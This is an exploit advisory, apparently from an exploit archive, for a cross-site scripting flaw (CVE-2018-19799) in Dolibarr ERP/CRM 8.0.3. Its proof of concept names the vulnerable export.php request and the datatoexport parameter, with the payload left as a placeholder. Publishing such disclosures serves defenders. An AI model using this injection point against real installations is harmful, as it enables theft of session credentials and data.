Dolibarr ERP / CRM 8.0.3 Cross Site Scripting

`# Exploit Title: Dolibarr ERP/CRM <= 8.0.3 - Cross-Site Scripting  
# CVE: CVE-2018-19799  
# Date: 2018-11-23  
# Exploit Author: Azkan Mustafa AkkuA (AkkuS)  
# Contact: https://pentest.com.tr  
# Vendor Homepage: https://dolibarr.org  
# Software Link: http://sourceforge.net/projects/dolibarr/files/  
# Version: v8.0.3  
# Category: Webapps  
# Tested on: XAMPP for Linux 7.2.8-0  
# Software Description : Dolibarr ERP & CRM is a modern and easy to use software package to manage your business.  
# (customers, invoices, orders, products, stocks, agenda, e-mailings, shipments...)  
# Description : Exploiting these issues could allow an attacker to steal cookie-based authentication credentials,  
# compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.  
# Dolibarr 8.0.3 is vulnerable; prior versions may also be affected.  
# ==================================================================  
  
# PoC:  
  
# GET Request : /exports/export.php?step=2&datatoexport=[XSS PAYLOAD]&action=selectfield&field=pj.ref&page_y=627  
  
  
`